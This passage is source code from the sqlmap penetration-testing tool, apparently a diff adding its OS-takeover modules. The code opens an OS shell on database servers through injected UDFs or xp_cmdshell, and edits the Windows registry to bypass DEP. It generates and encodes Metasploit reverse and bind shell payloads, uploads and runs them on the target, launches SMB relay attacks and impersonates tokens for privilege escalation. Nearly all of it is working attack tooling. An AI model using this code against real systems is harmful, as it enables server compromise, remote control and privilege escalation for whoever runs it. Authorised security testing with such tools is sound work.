from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / xp_cmdshell objects
"""
def __init__(self):
self.envInitialized = False
UDF.__init__(self)
xp_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent)
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd)
elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def runCmd(self, cmd):
getOutput = None
message = "do you want to retrieve the command standard "
message += "output? [Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
output = self.evalCmd(cmd)
if output:
dumper.string("command standard output", output)
else:
print "No output"
else:
self.execCmd(cmd, forgeCmd=True)
if kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system "
infoMsg += "command execution"
logger.info(infoMsg)
elif kb.dbms == "Microsoft SQL Server":
infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg += "operating system command execution"
logger.info(infoMsg)
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows"
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.runCmd(command)
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized == True:
return
self.checkDbmsOs(detailed)
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInit()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg

171
lib/takeover/dep.py Normal file
View File

@@ -0,0 +1,171 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP
class DEP:
"""
This class defines methods to handle DEP (Data Execution Prevention)
The following operating systems has DEP enabled by default:
* Windows XP SP2+
* Windows Server 2003 SP1+
* Windows Vista SP0+
* Windows 2008 SP0+
References:
* http://support.microsoft.com/kb/875352
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
"""
def __init__(self):
self.bypassDEP = False
self.__supportDEP = False
def __initVars(self, exe):
self.__DEPvalues = {
"OPTIN": "only Windows system binaries are covered by DEP by default",
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
"ALWAYSOFF": "no DEP coverage for any part of the system"
}
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
self.__excRegValue = exe
self.__excRegValue = self.__excRegValue.replace("/", "\\")
def __addException(self):
infoMsg = "adding an exception to DEP in the Windows registry "
infoMsg += "for '%s' executable" % self.__excRegValue
logger.info(infoMsg)
if kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL server runs as postgres "
warnMsg += "user which has no privileges to add/delete "
warnMsg += "Windows registry keys, sqlmap will give it a try "
warnMsg += "anyway"
logger.warn(warnMsg)
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
def delException(self):
if self.bypassDEP == False:
return
infoMsg = "deleting the exception to DEP in the Windows registry "
infoMsg += "for Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.delRegKey(self.__excRegKey, self.__excRegValue)
def __analyzeDEP(self):
detectedValue = False
for value, explanation in self.__DEPvalues.items():
if value in kb.dep:
detectedValue = True
if value in ( "OPTIN", "ALWAYSOFF" ):
logger.info(explanation)
self.bypassDEP = False
elif value == "OPTOUT":
logger.info(explanation)
self.bypassDEP = True
self.__addException()
elif value == "ALWAYSON":
logger.warn(explanation)
self.bypassDEP = True
self.__addException()
if detectedValue == False:
warnMsg = "it was not possible to detect the DEP system "
warnMsg += "policy, sqlmap will threat as if "
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
logger.warn(warnMsg)
self.__addException()
def __systemHasDepSupport(self):
depEnabledOS = {
"2003": ( 1, 2 ),
"2008": ( 0, 1 ),
"XP": ( 2, 3 ),
"Vista": ( 0, 1 ),
}
for version, sps in depEnabledOS.items():
if kb.osVersion == version and kb.osSP in sps:
self.__supportDEP = True
break
def handleDep(self, exe):
logger.info("handling DEP")
self.__systemHasDepSupport()
if self.__supportDEP == True:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "supports DEP: going to handle it"
logger.info(infoMsg)
elif not kb.osVersion or not kb.osSP:
warnMsg = "unable to fingerprint the back-end DBMS "
warnMsg += "underlying operating system version and service "
warnMsg += "pack: going to threat as if DEP is enabled"
logger.warn(warnMsg)
self.bypassDEP = True
else:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "does not support DEP: no need to handle it"
logger.info(infoMsg)
return
logger.info("checking DEP system policy")
self.__initVars(exe)
if not kb.dep:
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
setDEP()
self.__analyzeDEP()

690
lib/takeover/metasploit.py Normal file
View File

@@ -0,0 +1,690 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class Metasploit:
"""
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
self.__msfPayloadsList = {
"windows": {
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
3: ( "Shell", "windows/shell" ),
4: ( "Reflective VNC", "windows/vncinject" ),
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
}
}
self.__msfConnectionsList = {
"windows": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
3: ( "Reverse TCP", "reverse_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
},
"linux": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ),
}
}
self.__msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
10: ( "Non-Upper Encoder", "x86/nonupper" ),
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
}
}
self.__msfSMBPortsList = {
"windows": {
1: ( "139/TCP (default)", "139" ),
2: ( "445/TCP", "445" ),
}
}
self.__portData = {
"bind": "remote port numer",
"reverse": "local port numer",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
opSys = "windows"
else:
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
maxValue = num
if "(default)" in description:
default = num
message += "\n[%d] %s" % (num, description)
else:
message += " [%d] " % default
choice = readInput(message, default="%d" % default)
if not choice:
if lst:
choice = str(default)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
if lst:
choice = lst[opSys][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to abuse "
infoMsg += "Windows Impersonation Tokens via Meterpreter "
infoMsg += "'incognito' extension to privilege escalate"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
if __payloadStr == "windows/vncinject":
choose = False
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because often Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose == True:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to reflective Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
break
elif choice == "1":
if kb.dbms == "PostgreSQL":
logger.warn("beware that the VNC injection might not work")
break
elif askChurrasco == False:
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if uploaded == False:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
address = self.remoteIP
return address
elif self.connectionStr.startswith("reverse"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
# NOTE: payload stager for Linux can only be encoded if the
# Metasploit working copy has been updated after May 11, 2009
# (http://trac.metasploit.com/changeset/6543)
#
# TODO: remember to update this code as soon as Metasploit
# Framework 3.3 is out officially and update the user's manual to
# notify that sqlmap depends upon Metasploit Framework 3.3
else:
self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
logger.info(infoMsg)
if kb.os != "Windows":
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco == True:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile != None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use priv\n")
if conf.privEsc == True:
print
infoMsg = "loading Meterpreter 'incognito' extension and "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
proc_out_fd = proc.stdout.fileno()
setNonBlocking(proc_out_fd)
while True:
returncode = proc.poll()
if returncode is None:
# Child hasn't exited yet
pass
else:
logger.debug("connection closed properly")
return returncode
try:
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
proc.stdin.write(blockingReadFromFD(stdin_fd))
except IOError:
# Probably the child has exited
pass
if proc_out_fd in ready_fds[0]:
out = blockingReadFromFD(proc_out_fd)
blockingWriteToFD(sys.stdout.fileno(), out)
# For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out
# For --os-smbrelay
smbRelayCond = "Server started" in out
if pwnBofCond or smbRelayCond:
func()
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
return returncode
def createMsfShellcode(self):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.shellcodeChar = ""
self.__initVars()
self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize:
payloadSize = payloadSize.group(1)
debugMsg = "the shellcode size is %s bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True):
if initialize == True:
infoMsg = ""
else:
infoMsg = "re"
infoMsg += "creating Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
self.__fileFormat = "exe"
else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__fileFormat = "elf"
if initialize == True:
self.__initVars()
if self.payloadStr == None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
packedSize = upx.pack(self.exeFilePathLocal)
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize and packedSize != exeSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
else:
debugMsg += "as a portable executable its size is "
debugMsg += "%s bytes" % exeSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)
def pwn(self):
self.__runMsfCli(exitfunc="process")
if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
logger.debug(debugMsg)
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)

139
lib/takeover/registry.py Normal file
View File

@@ -0,0 +1,139 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
class Registry:
"""
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
self.__regKey = regKey
self.__regName = regName
self.__regType = regType
self.__regValue = regValue
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
if parse == True:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
self.__batRead = (
"@ECHO OFF\r\n",
readParse
)
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
)
def __execBatPathRemote(self):
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
else:
cmd = self.__batPathRemote
self.execCmd(cmd)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
if self.__operation == "read":
lines = self.__batRead
elif self.__operation == "add":
lines = self.__batAdd
elif self.__operation == "delete":
lines = self.__batDel
for line in lines:
self.__batPathFp.write(line)
self.__batPathFp.close()
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
self.__createLocalBatchFile()
self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regName, parse):
self.__operation = "read"
self.__initVars(regKey, regName, parse=parse)
self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
return self.evalCmd(self.__batPathRemote)
def addRegKey(self, regKey, regName, regType, regValue):
self.__operation = "add"
self.__initVars(regKey, regName, regType, regValue)
self.__createRemoteBatchFile()
debugMsg = "adding registry key name '%s' " % self.__regName
debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
def delRegKey(self, regKey, regName):
self.__operation = "delete"
self.__initVars(regKey, regName)
self.__createRemoteBatchFile()
debugMsg = "deleting registry key name '%s' " % self.__regName
debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()

67
lib/takeover/udf.py Normal file
View File

@@ -0,0 +1,67 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.convert import urlencode
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
class UDF:
"""
This class defines methods to deal with User-Defined Functions for
plugins.
"""
